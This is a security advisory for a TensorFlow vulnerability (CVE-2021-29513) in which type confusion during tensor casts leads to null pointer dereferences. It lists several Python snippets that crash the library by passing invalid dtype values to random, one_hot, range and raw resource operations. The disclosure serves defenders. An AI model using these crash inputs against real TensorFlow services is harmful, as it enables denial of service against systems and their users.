CVE-2021-29513: Type confusion during tensor casts lead to dereferencing null pointers

(updated )

Calling TF operations with tensors of non-numeric types when the operations expect numeric tensors result in null pointer dereferences.

There are multiple ways to reproduce this, listing a few examples here:

import tensorflow as tf
import numpy as np
data = tf.random.truncated_normal(shape=1,mean=np.float32(20.8739),stddev=779.973,dtype=20,seed=64)

import tensorflow as tf
import numpy as np
data =
tf.random.stateless_truncated_normal(shape=1,seed=[63,70],mean=np.float32(20.8739),stddev=779.973,dtype=20)

import tensorflow as tf
import numpy as np
data = tf.one_hot(indices=[62,50],depth=136,on_value=np.int32(237),off_value=158,axis=856,dtype=20)

import tensorflow as tf
import numpy as np
data = tf.range(start=np.int32(214),limit=660,delta=129,dtype=20)

import tensorflow as tf
import numpy as np
data = tf.raw_ops.ResourceCountUpTo(resource=np.int32(30), limit=872, T=3)

import tensorflow as tf
import numpy as np

writer_array = np.array([1,2],dtype=np.int32)
writer_tensor = tf.convert_to_tensor(writer_array,dtype=tf.resource)

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